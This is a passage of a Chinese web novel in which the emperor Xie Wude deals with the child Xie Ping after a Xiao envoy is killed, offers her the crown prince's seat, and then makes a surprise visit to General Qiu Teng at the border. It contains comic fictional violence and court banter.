谢萍可能也有很多想要和谢吾德说的话。 谢吾德让其他人退朝,但是谢萍没有跟着一起退,他反而抓着萧国使者的脚,吭哧吭哧地尝试把他往外拖。 还是得强调一下,谢吾德不喜欢小孩子。 小孩子愚蠢又烦人,但是谢萍现在的样子实在是逗乐了他。 在谢吾德看来,现在的谢萍就像是小狗试图把主人的厚被子从床上扯下来一样,吃力中带着几分憨态可掬的感觉。 他知道谢萍绝对是误会了什么,但是还是欣赏了一会,然后才说:“你在干嘛呢?” “陛下……我……啊,不,臣,臣是在清理尸体呢。”谢萍开口说话的时候有点结巴,她之前看着尔雅对谢吾德自称臣。 小孩子都是会学身边比较仰慕的大人的,谢萍就学了尔雅。 尔雅之前给她裹上帘子,她虽然没分给尔雅太多的注意,但是心里还是记住了。 “不是让你这么处理。”谢吾德看看剩下的太监,那些太监立刻就开始收拾萧国使者的尸体。 谢萍在那里站着,她也不知道自己要做什么,只能搓着自己身上的帘子,看上去又是一副畏缩的模样。 谢吾德看她这个样子,又觉得有点没意思。 大家都不能恢复一下状态吗? “我是让你自己决定是把他的尸体喂狗,还是挫骨扬灰,或者你有别的什么花活也行,别整得太变态就好了。”谢吾德翻了个白眼之后还是说道。 【别太教坏小孩了。】温特实在是无语。 他终于冒泡了。 之前还能忍。 那是复仇,是为母亲和自己复仇。 温特不觉得有问题。 但是谢吾德接下来的撺掇问题就有点大了。 【怎么教坏?她在萧国出生,还不知道都见了多少东西呢。】谢吾德不认为谢萍以后长歪了是他的错,【就算有错也不应该是我的错。】 温特想了想,觉得谢吾德是在诡辩,但是他诡辩得有道理。 祸害谢萍轮不到谢吾德。 甚至在这个封建社会,谢吾德比绝大多数人的精神都要健康。 旁边萧国派来的人眼皮直抽。 什么叫别做的太过分了? 是喂狗不过分,还是挫骨扬灰不过分? 荣国的皇帝能不能尊重一下他们萧国的使者,萧国的使者是代表萧国的皇帝。 谢吾德现在做的不就是把萧国皇帝的面子放在脚底下踩吗? 萧国皇帝如果在这里一定会暴跳如雷。 但是没人站出来,萧国皇帝虽然曾经有不少的成就,但是近些年来越发的荒淫无道。 朝中上下颇有一种谄媚之风,只有善于讨好人的人才能够在朝中获得一个不错的位置。 他们这群人来到荣国是持着吃大户的心态。 荣国一直都害怕萧国,萧国人把他们打得落花流水,但是他们又怕人瞧不起他们,每次萧国有使者来,荣国都招待得很好。 荣国人真的很有钱。 即使每年给萧国那么多钱,他们都能给得起。 出使荣国其实是一项肥差的,很多人都是花了重金才混进来的,只不过在到了荣国之后,他们就觉得事情不太妙。 最后事情发展到了这恐怖的地步。 这完全突破了他们所有想象,回到效果,跟萧国的皇帝说这些事情,萧国的皇帝绝对不会相信他们的。 现在关于荣国的所有事就是一个烫手山芋。 如果时光能够倒流的话,他们恨不得塞钱让人把他们赶出这个队伍来。 他们可没有跟这个好像变异品种的荣国皇帝呛声的勇气。 其实他们这次来到荣国,本来还是要商量一下岁币的事情。 但是现在正使死了,谢吾德又这么强硬,他们哪里还能和谢吾德说什么呢? 他们敢和谢吾德要半个子,谢吾德就能细细地把他们剁成臊子。 别看荣国和效果之前摆出一副你好我好大家好,岁币是天经地义,是友好的象征,但是本质是什么样的,荣国和萧国的皇帝都懂。 也就是荣国人拼命地给自己洗脑。 但是谢吾德会容忍这样的话吗? 谢吾德现在的表情放松,看上去又是一个漂亮俊美人见人爱的少年,但是他翻脸连半秒钟都不用。 谢吾德低下头,看着其中一个人:“你水洒了吗?” 那个被谢吾德指着的萧国人愣愣的看着谢吾德,然后低下头来。 他身旁的人才闻到一股骚气,他尿了。 谢吾德一开始也是愣住了,但是很快他也反应过来,他噔噔噔的连退数步:“好恶心,快滚快滚。” 谢吾德觉得如果这是这群人脱身之计的话,他得承认他们成功了。 萧国使团其他人也如蒙大赦,匆匆忙忙连滚带爬的溜掉了。 谢吾德指挥着太监把这些污物给清理掉了,但是这还不够,他从口袋里又掏出了一个大塑料瓶,往下面哐哐的撒酒精消毒。 百分之七十五的酒精有着强烈的气味,这吸引了许多人的注意,谢吾德看着他们的眼神,作为一个洁癖,警惕之心大起。 “我说你们不会舔吧?”谢吾德看着那群太监。 那群太监被问住了。 谁能够想到谢吾德会问这种问题。 他们有些人的确对这酒就这么浪费了有点心疼,但是他们还是有一点点膈应的。 谢吾德这么问……是要他们舔吗? 要听皇帝的话舔了吗? 为了进步好像也不是不行…… 因为谢吾德索展现出来的脑回路实在是太过于神奇了,所以大家一时半会都不能确定谢吾德现在是在想什么。 谢吾德又重复的问了一句:“你们真的不会舔吧?你们要是谁敢舔的话,我就把谁的舌头割下来。” 谢吾德总觉得自己在这群人的眼中看到了一些不太妙的感觉,谢吾德这话一出,大家都老实了。 “陛下,怎么会呢?” “我们每天都洗澡的。” “那些萧国人脏死了,我们这些荣国人怎么可能做出这样丢人现眼的事情。” “请陛下放心!” 大家的脸上都是笑容。 心安了。 谢吾德身边暂时真正的酒鬼。 大家没必要做设么丢人的事,而且很多人都相信跟着谢吾德混,谢吾德哪天一开心,说不定会真的给他们一点好酒。 没必要在这种事情上恶了谢吾德。 谢吾德说割是真的敢割的。 有谢吾德在的地方,场面总会变得血腥中带着一点不正经,不正经中又透着一股浓浓的非人感。 谢吾德看着这群人,摇摇头,心说这群人一点都不靠谱。 和这群人一起怎么能搞得好大荣呢? 真是离谱,这群人有没有靠谱的。 可别到最后他发现只有自己才是靠谱的吧? 谢吾德完全没反思过上梁不正下梁歪的问题。 林耀祖挠挠头,拿着笔,在本子上记着。 她没忘记自己是史官。 但是要记录的东西实在是太多了,要一一记下来工程量可太大了。 谢吾德的工资,实在是不好拿啊。 乐子太多,记起来其实也很累了。 第63章 谢萍的面前摆了一堆食物,谢萍本人瘦瘦小小的,整个人的身上没有多少肉,还有点黑,一看就知道在萧国的时候过得非常不好。 这样糟糕环境长大的孩子是不可能长得好看的。 即使洗刷干净穿上漂亮衣服看上去也不像是一个公主的孩子。 但是谢萍看了桌子上的食物,她并没有动,而是低着头。 谢吾德给她拿这些吃的也算是他为数不多的一点温柔。 他觉得谢萍很可怜。 谢吾德不太喜欢说太多,如果有什么不开心的事情,那就先吃点东西吧。 不过话是这么说,谢吾德的温情也只维持了片刻,他看着谢萍什么都没吃,于是问:“怎么,要我喂你吗?” 谢吾德给谢萍吃的是属于他的好意,他可不会去搞温情脉脉的人道主义戏码。 谢萍想吃也得吃,不想吃也得吃,他绝对不会让自己的好意落空。 谢萍看了看谢吾德,似乎有点无奈。 她深深地喘了一口气。 谢萍见过别人的隐晦的好意,也见过别人的赤裸裸的恶意,但是没见过谢吾德这种又好又坏的好意……大概能算的上是好意吧? 尔雅适时地站出来,她说道:“这些不合您的口味吗?” 谢吾德果断道:“不可能,都很甜。” 甜品党拒绝一切对甜食的污蔑。 尔雅:“……” 谢萍也不是想要和谢吾德对着干,此刻最想要讨好谢吾德的恐怕就是她了。 从刚刚开始,她就在想:谢吾德既然能够把她复活,那他能不能把母亲已经去世的那些姐妹也复活? 谢萍一瞬间产生了许多妄想,然而就是因为这些想法太多了,才让他在谢吾德面前什么事都做不了。 这不是之前杀死萧国使者的时候了。 那时她凭借着一腔怒火,愤怒占据了她全部的思维,即使是谢吾德也无法阻止她半点。 “陛下,”谢萍开口,实际上谢吾德是不在意一个称呼的。只要不是找茬,谢吾德对一切的称呼适应都良好。 谢吾德托腮看着尔雅,又看向谢萍问道:“你有什么事吗?” 谢萍出生在萧国,一天都没有在荣国呆着,但是她却对荣国有一些归属感。 这也算是一种必然——但凡是正常的人,怎么可能会对萧国那种给她带来了诸多创伤的地方产生感情?她又不是受虐狂。 谢吾德问这个问题并不是重新发问,他只是想要研究现在谢萍的想法。 谢萍还没打算开口,她就听到谢吾德说:“你要是现在没有什么事的话,不如听我给你讲一些故事吧。” 林耀祖看着谢吾德,觉得时间太微妙了,这货是故意的。 而且谢吾德会讲故事? 看着不像。 谢吾德看向了林耀祖,选择了外包:“就是之前天上的那些东西,讲给她听一听。” “咦,陛下?”林耀祖有点不知所措。 谢吾德到底有没有猜到什么? “说你知道的所有事情。”谢吾德补充了一句。 林耀祖:“……”果然是知道了什么吧。 谢吾德给人一种直肠子没心机的家伙,但是他老是给人惊吓。 果然不是没脑子,就是不喜欢过脑子。 林耀祖作为来自未来的人,她其实比这个时代的人更容易被谢吾德的权威征服。 因为她从小到大都是听着谢吾德的传奇长大的。 这历史是可以随便讲的吗? 谢萍在历史上的结局也不太好。 林耀祖同情谢萍,尤其是在看到谢萍的头颅之后。 这明明是一个活人,一个鲜活的生命,却被人用刀砍了下来作为挑衅的礼物送给了谢吾德。 没人在意她的想法,恐怕谢吾德也不是很在意她的想法。 林耀祖觉得谢吾德绝对是知道谢萍的心事的,只不过他只想看看谢萍在听到她的结局之后的反应。 林耀祖深吸了一口气,有点担心尔雅会怎么看,但是尔雅看上去和以前完全一样,似乎并没有怀疑她其实不是原来的那个人。 林耀祖也不愧是谢吾德所看好的人,她和谢吾德一样都没有装神弄鬼的天赋。 她只是平铺直叙。 讲述荣昭宗是怎么当上太子,又是怎么在谢吾德失踪之后成为了皇帝,又是怎么被人趁着病重的时候被杀,连带着她的孩子一起。 余文彦在一旁听得着急。 这个人讲故事也太烂了吧? 他其实觉得自己不该出现在这里的,可是他着急和谢吾德商量一些事情。 至于林耀祖说的东西不应该是这个时代的人应该听到的? 这根本就不重要。 谢吾德才是那个最邪门的家伙。 有谢吾德在前,林耀祖身上的问题根本就不值一提。 而且谁敢说林耀祖的问题就和谢吾德没有什么关系? 谢萍听完林耀祖讲的故事,她看上去很平静,只是垂着眼点点头,看上去有点乖。 林耀祖挠挠头,然后对着谢吾德露出了无奈的表情。 林耀祖知道谢吾德是想要看谢萍不高兴的表情,可是谢萍并不怎么在意,不是脸上毫无表情的那种不在意,而是说她的表情和之前完全一样。 谢萍的确没有什么可在意的,她现在才六岁,能够指望她对未来的事情有多少感触吗? 即使自己的孩子死去,她的内心也毫无波动。 她现在才六岁,她感觉自己的母亲刚刚去世。 相比起那个还没有影子的孩子,她对自己的母亲悲伤更加深切。 就像是在她心口上狠狠地划了一刀以后,大腿上的伤口就不值得一提了。 谢吾德看着谢萍,对她这个反应十分不满意:“你就没有什么想说的吗?” 谢萍被谢吾德说得低下了头,这比听到之后她全家死绝都要害怕。 谢吾德是很喜欢让人畏惧,但是绝对不是在这种情况下。 他扭头看向林耀祖问道:“我有这么让人害怕吗?” 林耀祖也歪头看向谢吾德,她脸上的表情只在问一件事情“您不觉得您让人害怕吗”。 林耀祖和谢吾德也认识挺久的了。 虽然谢吾德神神秘秘,但是林耀祖觉得在很多时候都觉得谢吾德其实还挺好说话的。 至少他看起来不像是传说中的那种纯粹的暴君。 林耀祖在这个世界上熟悉的人不多。 那些小宫女和林耀祖的年龄差距有点大,而且林耀祖和她们也没有什么可聊的。 她比较熟悉的也就尔雅,余文彦和谢吾德。 而在余文彦和谢吾德之中,林耀祖更加亲近的是谢吾德,也不知道为什么,她看着谢吾德总有一种亲切的感觉。 她感觉自己不管说什么怪话,谢吾德也都能接受. 虽然有一些梗谢吾德可能不太懂,但是他有一种可以接得上现代人抽象的逻辑的感觉。 该怎么形容这种感觉呢? 林耀祖想了想,如果她不知道谢吾德是荣武宗的话,那她会怀疑谢吾德是不是哪一个穿越者前辈。 谢吾德潮得完全不像是一个古人。 即使这样,林耀祖也经常会被谢吾德吓到。 在很多个瞬间里,谢吾德看上去和人类截然不同。 “好了,你想要向我提出什么请求呢?”谢吾德看着谢萍。 谢萍总算抬起眼,飞快地看了谢吾德一眼,她问道:“陛下可以将我的母亲复活吗?” 谢吾德说到:“理论上来说,她是我的姑姑。” 谢萍点了点头,可是她并没有激动…… “所以我的答案是,当然不行。” 谢吾德故意的,他故意想要看看谢萍会不会哭,然而谢萍却没有太大的反应,谢吾德的话好像完全在她意料之中。 她没有争取,她把自己的期望放的很低。 像谢吾德这种正在搞事的人最讨厌什么情况? 大概就是想要捉弄的人没有被他捉弄到。 这会让他觉得很无聊,也很没面子。 温特在一旁点评:【你这种行为其实很没品。】 温特上线了。 温特一般不吐槽谢吾德,除非谢吾德太过分了。 亚夏现在肯定不在,不然轮不到温特吐槽谢吾德。 “你怎么一点都不意外?” 谢吾德并没有觉得十分尴尬。 “臣只是觉得这件事情并不值得陛下费心。” 谢萍知道只不过是谢吾德完全不熟的堂妹,谢吾德没理由对她有任何优待。 复活这件事,对于谢吾德来说可能是随手就能做的事情,可是谢萍在萧国学到的重要一点就是,不要指望别人用自己手上——哪怕是富足的资源来帮助自己。 就像是她在萧国的很多经历只需要那位曾经当过皇帝的外祖父说一句话就能够解决掉,但是那位外祖父就从来都不说,除非这件事情波及到了他自己。 在谢萍似的时候都没有看到最后那个无用的皇帝尝试一下拯救她和她的母亲。 在面对这些高高在上的家伙的时候,只有自己的利益和对方的利益相匹配,对方才会愿意帮助她。 谢吾德笑了起来。看人被他捉弄得手忙脚乱是他的重要乐趣,但是看对方没有被他捉弄得手忙脚乱,这个人还能够顺势地提出符合谢吾德心意、找到一个两人都高兴的平衡点,那谢吾德也挺开心的。 谢吾德对着谢萍又用出了自己老一套的诱惑招数,他问谢萍:“你也听到了你未来会发生在你身上的故事,你有没有什么想法呢?要知道你在原来的时间线上,我选择了你当太子。你要不要尝试一下竞争这个位置呢?” 谢吾德知道这招对谢萍其实没用。 他是真的决定谢萍现在的冷静看上去很有趣 余文彦恨不得伸手捂住谢吾德的嘴。 这话是能够随便说的吗? 这是太子之位,不是什么玩具,哪能随便就这么给别人。 谢吾德还刚刚一下子立了两个太子,他是想要一下子立三个吗? 谢吾德又在那里乱来。 不过他觉得谢吾德这个态度,好像不像是想要传位给谢萍的意思。 谢萍想了想,然后果断说道:“陛下,还请容臣拒绝。” 谢吾德还没有什么反应,林耀祖自己先绷不住了。 不是顾及到谢吾德就在边上坐着,她恐怕现在就要站起来问谢萍为什么。 是担心谢吾德忌惮她? 但是这是完全没有必要的担心。 林耀祖是一个女性。 即使荣昭宗在历史上的评价并不高,许多人因为荣昭宗最后并没有做出太过亮眼的事情,而对女性皇帝有着不高的评价,但是她也是这个国家历史上唯一的一个女皇帝。 如今未来已经发生了改变,如果有了谢萍这个先例,又能够改变未来的话,那之后的女性说不定会更早地争取到平等的地位。 在整个荣朝,只有荣昭宗愿意继续谢吾德政策——男的女的都给皇帝干活。 在荣昭宗死亡之后,整个社会出现了巨大的反扑。 甚至一度流行起了裹足,彻底剥夺了女性外出的工作的权力。 在古代社会追求人人平等完全是水中捞月,但是就能不做吗? 就像是在古代社会禁绝土地兼并是不可能的,但是这样就可以彻底摆烂了吗? 总得做点什么吧? 这和林耀祖的利益是一致的。 林耀祖还不知道自己在这里会待多久,她可以随时跑路,但是谁能拒绝过得更舒服呢? 就像是她的名字,这完全是因为她母亲看家里的亲戚在她出生时候唉声叹气说她怎么是个女孩,她母亲绝对很不爽,就直接给她起了一个“耀祖”的名字气死所有人。 林耀祖也觉得自己的名字很土,以前也想过换名字,但是在提出这个想法的时候,有人感叹她一个女孩怎么叫耀祖。 林耀祖和母亲一样的和人对着干的精神上来了。 她觉得自己的名字很土,但是讨厌有人觉得她的名字怪。 她就要给人做一下系统性脱敏。 现在网名用得也是本名,只要有人问她一个女孩子怎么用这个当网名,林耀祖就觉得自己的公益心理治疗没做到位。 林耀祖想了很多,但是最后还是没说什么。 谢萍现在只有六岁,放在现代社会,她也只是一个小学生,还带着小黄帽需要家长接送的年级。 现在她母亲死了,她实在是不忍心让这样小的一个孩子去承担什么责任,她如果因为这种事情一蹶不振,那也只能说是人之常情。 就算需要,那也得等着她长大,有了自己的决断。 林耀祖自己才是个成年人。 那到时候谁当皇帝啊? 林耀祖想,该不会是那两个原来的太子吧? 他们两个真的不像是想要当太子的样子。 谢吾德之前都被啃了。 林耀祖看向谢吾德。 她的目光在谢吾德脸上停留了片刻,卡壳了。 忽然意识到这个问题对谢吾德来说太早了。 他虽然长得高,但是的确是个少年的长相。 谢吾德也只是失踪,不是死了。 她思考这个问题是想争取从龙之功吗?. 谢萍补充道:“臣的能力有限,无法助陛下达成陛下的目标,所以臣恳请陛下能够另选高明。” 谢吾德觉得谢萍能力不行,他给她安排的那么好的机会和资源,她都失败了。 谢吾德喜欢谢萍的性格,但是他不喜欢谢萍的能力。 中看不中用。 人设不错有什么用,还是得看DPS! 虽然谢萍的失败可能和谢萍自己的身体状况相关,但是谢吾德是一个唯结果论的家伙。 判断过程实在是太复杂了,主观、客观、过程、结果,它们大多各有道理,所以他只看结果就好。 结果好他的心情就好。 “陛下,如果可以的话,还是请陛下选择贤人。我只是求在陛下手下能有一官半职,然后攻破萧国,为我母亲复仇。”谢萍的声音还是以前的样子。 她的声音并不铿锵有力,但是她说的话似乎就是她深思熟虑之后的结果了。 谢吾德听到谢萍的话,他哈哈大笑了起来:“你说话早晚会后悔的。” 但是谢吾德心情却一点都不坏。 谢萍没有那个能力,但是她能够看得清自己。 那比许多看不清自己的能力还觉得自己了不得的人要好太多。 谢吾德随手把桌子上的泡芙塞嘴巴里:“那走吧,带你去整点好玩的。”. 邱潇被传召了。 他看着坐在谢吾德旁边不停地往嘴巴里塞着东西的谢萍,心说孩子这么饿吗? 谢萍如果知道他心里的想法,她一定会说还不是因为谢吾德和她说如果不把这些东西全都吃完,她就不带她。 林耀祖和尔雅趁着谢吾德不注意的时候偷偷摸摸地帮谢萍吃一点。 谢吾德听到动静了,但是他想要看得只是谢萍当时瞬间垮下去的脸。 邱潇被喊了进去。 谢吾德问邱潇:“你叔父如今还好吗?” 邱潇的眼睛一亮。 他立刻说道:“叔父一切安好。” 这件事情谢吾德不可能不知道,之前他们已经和谢吾德说过这件事情了。 苏搜易谢吾德问这句话不就是想相当于问他“将军饭否”。 那邱腾实在是太能饭了! 邱潇也就是长个子的时候吃不过自己的叔父。 “你也收拾收拾跟我走吧。” 谢吾德对邱潇说道。 “去哪?” 邱潇看着谢吾德已经站了起来,一副他必须立刻出发的样子。 谢萍急了,林耀祖看看盘子里剩下的那几个泡芙,又多看了谢吾德一眼,把盘子里的泡芙往嘴巴里倒了进去,弹幕疯狂地给她刷打赏,并且询问林耀祖是不是要往吃播的方向发展。 “去和我们的邻居打个交道。你和你的叔父对打击萧国应该还是很有兴趣的吧?”谢吾德猛回头。 林耀祖闭着嘴,端庄地站在那里,空掉的盘子就放在谢萍面前。 谢吾德无语地看着林耀祖。 她的脸颊满满的,活像是吃撑了的仓鼠。 尔雅浑身颤抖,这场面对她来说有点难绷。 邱腾也是目瞪口呆。 军中大老粗他见多了,但是宫中大老粗他还是第一次……他看向谢吾德,修正了一下自己的词——第二次见。 第64章 在锦京发生种种事情的时候,邱腾在忙活别的事情。 在荣国和萧国交接的区域,邱腾不是唯一在干活的将军,这个世界上忠诚的人不少,但是绝大多数人都没有邱腾的能力。 他是不支持谢吾德当皇帝的,他抵触的原因其实很简单,并没有恩怨情仇。 谢吾德的性格算不上是特别让人讨厌,但是也让人觉得他根本就不适合当皇帝。 他没有当皇帝的那种感觉。 邱腾是一个相对比较传统的人。 遵守的也是比较传统的规则。 皇帝就要有皇帝的样子,当了皇帝就拥有了生杀夺予的大权,这是大权,自然要有严肃的态度,对所有事情都要深思熟虑再作出决定。 但是谢吾德会随随便便地大开杀戒。 邱腾海记得自己之前和谢吾德说“希望殿下能够以大局为重”,谢吾德当场就表示,他就是大局。 这怎么能让人放心得下来。 但是谢吾德已经是皇帝了,那他也没必要再说些什么了。 除非他打算推翻这个皇帝。 这个选项从来都没有在邱腾的脑子里出现。 他从成为将军的这一刻就没有思考过掺和到政治中。 荣国的官场就是这个世界上最大的屎山代码,想要活命,又没有强无敌的政治头脑,就最好不要掺和进去。 邱腾觉得自己很聪明,比那些认不清自己危险境地的将军要聪明,但是也没到能和那些狡猾的文官较劲的本领。 自己的侄子现在也在锦京,他清楚自己侄子性格还算可靠,也从锦京哪里得到了皇帝不需要他回京的消息,便没有太把注意力放在谢吾德登基为帝的事情上。 现在他怀疑萧国人可能又要准备南下了。 萧国人也是他的老敌人了,那群敌人想要干什么,邱腾有的时候都不需要猜,他凭借自己的直觉都能说个八九不离十。 谢吾德绝对不是一个会被人扶持的皇帝,锦京现在很有可能已经乱了。 萧国的探子肯定已经回去通知了萧国的皇帝了。 如果萧国人不趁机做点什么的话,那么他们就不是萧国人了。 萧国皇帝现在的水平不怎么样,但是他们的丞相依然在位,那可是一位难缠的敌人。 邱腾没见过萧国的丞相——除非他被俘虏或者他攻破萧国的都城。不过人不一定要认识才能够知道对方是什么人。 萧国丞相和萧国将军的配合一直都很不错,从他们俘虏的人口中能够感觉到最大的幺蛾子其实是萧国皇帝。 “探子回来了吗?” 邱腾问道。 邱腾也向萧国派了探子。 谁不往对方家掺沙子。 甚至邱腾想要的往萧国那边插眼线比萧国人往荣国插眼线要容易得多。 虽然长江以北已经近乎完全沦陷,但是生活在那里的很多普通人还是心向荣朝和荣朝的皇帝,他们也是有一些归属感的。 再说了,萧国也不可能大肆屠杀。 他们不是农民起义为了表示抗议直接屠城宣泄愤怒。 他们只是为了争夺更多的土地和资源。 人口也是资源的一种。 他们没有疯狂到直接屠城的程度。 那得损失多少钱? 萧国也没有取代荣国建立一个新文明的打算。 “将军,萧国那边确实有异动。”下面的人和邱腾说探子看到的东西。 邱腾和对方确认了几个点,真的确定萧国人恐怕已经往这边进发了。 “通知人手,做好迎战的准备。” 邱腾嗤笑一声,他果断地吩咐下面的人把东西做彻底把准备落实到位。 “是,将军。” 邱腾回到自己的房间之中。 他早就有了这方面的担忧。 这两个月他派人去了锦京好几次。 一是想向谢吾德祝贺他登基,二是告诉自己的侄子接下来该在谢吾德面前说什么做什么表示什么,三则是上告朝廷要给他们提供粮草。 邱腾在送出信的时候还在想:这次他们会向他们这边送多少粮草呢?送的速度快不快?大概需要多长时间,朝廷才会给他们反馈? 其实邱腾也很好奇谢吾德送给每一个人的白色粉末是从哪里来了,谢吾德如果能给每个人都送一些的话,那应该是不缺钱。 但是他们还是需要粮草。 淀粉不是很有饱腹感,他们需要正经的食物。 而且军中的大夫也说了,单吃一种东西是很有可能出问题的。 所以邱腾还特意向谢吾德强调,不是这种纯淀粉。 谢吾德暂时没有回应。 也不知道在他那里是不是那种白色粉末更加便宜。 谢吾德偶尔是这样的。 之前白国的人来到邱腾这里,谢吾德没宴请他们,而是在街边买了个包子就丢给他们了。 白国使者敢拒绝就是一顿毒打。 谢吾德不缺钱,但是他就是冷不丁地会特别吝啬,还让人尴尬。 邱家军之前有一阵还有人很同情谢吾德,觉得谢珖是虐待他了,没给他足够的钱,他们看着谢吾德就像是在看一个小可怜一样。 直到谢吾德直接干掉萧国大军,把萧国的将军当成狗一样拖回来。 谢吾德在这件事情上磨磨蹭蹭也不算是特别让人接受不了。 邱腾习惯了。 之前就是这样,朝廷上下磨磨蹭蹭的,除非真的是火烧眉毛了,他们才会相对比较快地把粮草给送过来。 其他时候他们给邱腾的粮草都不情不愿的,好像生怕邱腾借着朝廷的粮草养他自己的兵,造他们的反。 邱腾真的很想给那朝中剩下的这群人把自己的心剖出来,给他们是不是一颗红心向朝廷? 能不能等着把萧国人打退了再来忌惮他。 到那个时候他很愿意卸甲归田。 内斗的事情之后再提。 只不过现在是谢吾德当皇帝,也不知道会有多少变数。 邱腾是认识谢吾德的,只不过他平时很忙,和谢吾德打的交道并不多,谢吾德也是顺路做点什么才会和他接触。 谢吾德对他的态度不错,但是没好到会特地来边塞看他的程度。 可是邱腾身边的人对谢吾德大多都很有好评。 虽然谢吾德做事有点过分凶残,洁癖龟毛挺讨厌的,但是说话做事干脆利落,更重要的是,他真的很强,跟着谢吾德走的人除了是真的自己不小心在路上除了以外,其他人都能平安地回去。 朝中的人觉得谢吾德就是一只斑斓猛虎,但是在军队这样的环境里,他们会害怕斑斓猛虎吗? 不会。他们更担心的是糟糕的环境和天气、缺衣少食,疾病之类的东西。 岳家军的人只觉得谢吾德做他们的队友非常有安全感。 他们都把头别在裤腰带上了,也就那些高居庙堂的人才会对死亡那么恐惧。 如果有文官的外号是“猛虎”,那这文官多少是干过一些蠢事,被人嘲笑排挤;但是在他们军中,如果有人外号“猛虎”,那高低得是个砍了十几个甚至几十个敌人的好儿郎。 他们的价值观完全不一样。 军队的慕强远比文官要明显。 邱腾觉得谢吾德这个人甚至都不适合去做将军,他自己一个人就能解决问题,他不习惯和别人一起,他想要做的事情他自己就能做到,别人跟着他纯属是浪费时间。 这样的人能做好皇帝吗? 也许他对战争和血液的爱好可以让他支持邱家军对萧国的攻伐…… 邱腾的确有点担心谢吾德在登基之后,也和荣朝其他的皇帝一样都突然变异。 待军中的大小事务都处理完已经是深夜了。 他之前听锦京那边传来的消息,知道今天大概是皇帝登基的日子。 也不知道皇帝有没有又折腾出什么大新闻? 从某种程度上来说,邱腾有点期待谢吾德可以搞出一些大动静的。 谢吾德如果能继续搞事也算是证明他没有失去之前的特质,但是如果谢吾德安安静静地把这个皇位拿到手,那反而证明他向这个世界的规矩妥协了。 谢吾德会妥协也不奇怪。 邱腾也不是不知道谢吾德有多强,邱家军绝大多数的事情都瞒不过他,他在邱家军的声望大的可怕——也无怪谢珖总是对他有点放不下心。 邱腾只是觉得,谢吾德一个人是无法治理好这个国家的。 那群文官逼逼赖赖话很多,有时候还会拖后腿,但是这个国家的运转是完全离开不了他们的,好歹能把这个天下运转起来。 只是这种有一种死气沉沉苟活于世的感觉。 邱腾是一个十分守规矩的人,但是他现在却有点希望谢吾德能够叛逆一点,至少做出和之前的皇帝不一样的决定。 至少这算是一个变数。 邱腾想着想着,直到亲兵过来提醒他要睡觉,他才想到自己在思考上面花了太多的时间。 这一晚邱腾睡得很不安稳,还有很多心事,也有很多想要解决的事情,种种事情萦绕在他心头,让他很难陷入深沉的睡眠中。 邱腾也是一个心智坚毅的人,但是人类是有极限的。 他之前曾想过,如果战争能够结束的话,他就卸甲归田,这未尝不是对他的一种解放呢。 就在他沉沉睡着的时候,他的潜意识却蹦出来一些不太寻常的感觉,好像有个人在看他。 他好像听见了风的声音,听到了蜡烛燃烧的声音,还有……呼吸的声音。 他边上似乎有人。 他猛地惊醒,一拳砸了过去,毫无征兆,出手迅猛。 在邱腾当上将军之前,他也是军中的好手。 在幽幽的烛火下,一双幽蓝色的眼睛亮了起来,那好像是草原中的狼一般的眼神。 邱腾看清那张脸的主人的时候,本来是想收手的,但是却没能收得住。 邱腾就感觉自己的手好像砸到了什么坚硬的东西。 他的手有点疼,不像是真的把人给揍了。 “唔!”有人被吓了一跳,似乎想要骂人,但是因为邱腾下手太快了,他甚至连嘴巴都没来得及张开。 这个“挨打”的家伙就是谢吾德。 大概也只有谢吾德会犯这种贱了,比格在他面前都太过于纯良,奶牛猫在他面前都太过于天使了。 谢吾德揉揉自己的鼻子,边上的邱潇紧张地看着谢吾德,生怕谢吾德怪罪自己的叔父。 他之前无语的心情都瞬间荡然无存了。 他紧张着打量着谢吾德的表情。 谢吾德的手放在自己的鼻子上,脸上没什么表情,这个表情和亚夏完全一样。 他面无表情不是冷静,也不是恐吓,就是被吓到了。 幸亏他平日里会自己和外界空间进行一些隔离,原本目的是不让灰尘落在自己身上,同时也是为了防止自己被突然攻击的。 冲着他的力量越强,这层防护便会越坚硬,有点类似非牛顿流体。 谢吾德的反应速度没有那么快,他依赖的仍然是一套人类的神经系统,反应速度也是那样。 就算丢掉这个身体也一样,这是他的底层代码。 如果有谁突然打他的话,他还真不一定能够反应得过来。 如果他一个神明就这么被人一拳揍出鼻血的话,那他还要不要脸了? 个人防护一定要做好——亚夏和温特全都翻过车。 谢吾德在有了可以支配的身体之后就立刻吸取了教训,二十四小时挂着这个防护。 这只是一个念头的事情,不需要他费心维持。 幸亏他长了记性。 如果邱腾真的打实了的话,那谢吾德现在就只有蹲在地上捂着鼻子说不出话的份了。 至于是疼得说不出话,还是根本就昏过去说不出话,那就是另外一场讨论了。 亚夏和温特好歹是敌人下手,他被自己人打伤算什么。 谢吾德默默地消化了一下刚刚的惊吓。 邱腾立刻抱拳说道:“陛下恕罪。” “你又没打中我,恕什么罪?”谢吾德也很快地就冷静了下来,摆摆手,顺便把手放了下来,让其他人看到他的脸。 邱腾松了一口气。 不仅是因为自己“打皇帝”这件事情就这么被揭过去了,还因为谢吾德现在给他的感觉和他之前离开这里前往紫禁城时的感觉是一样的。 如果这个人没有因为当上皇帝而有什么性格上的变化的话,那他们大概率也不用担心战争的问题吧。 邱潇也松了一口气,他之前和谢吾德说邱腾身体安好,不是说邱腾心脏没问题、可以经得起半夜有人站在他床边吓他的意思,同样也不是希望自己过于健壮的叔父一拳把皇帝的鼻子打出血。 邱潇有一点心累,有像谢吾德这么离谱的皇帝,还真是难顶。 “虽然朝中的那些人都看我不顺眼,但是他们看到我脸上有伤,肯定要狠狠地弹劾你。”谢吾德单手叉腰。 “这次是臣不谨,如果有大臣弹劾,那只是他们在做自己应该做的事情。”邱腾完全没有回避自己错误的意思,他也不会评价朝中那些文官做的如何。 不在其位不谋其政。 朝中的那些人喜欢对军队指手画脚,但是邱腾绝对不要像他们那样。 “其实也不一定,说不定他们看我被打,他们反而会高兴地装作什么都没有看见?”谢吾德摸着下巴思考。 邱腾又想叹气了。 他以前也不是弯弯绕的人,他以前希望所有人把话都说得直接一点,大家都明人不说暗话。 但是现在谢吾德真一点都不试探也不和他打机锋,他反而觉得自己浑身难受。 “这天下谁不关心陛下您的身体呢?”邱腾还是在做好人。 “不认识我的人、萧国人、那些世家?”谢吾德习惯性抬杠。 邱腾:“……” 他有点怀念那些一百个心眼的文人了。 谢吾德离他的距离比那些文人离他的距离远多了。 谢吾德没有怪罪邱腾,但是却瞪了林耀祖一眼。 他注意到林耀祖好像刚刚偷偷截屏了,把他被打的画面给截了下来。 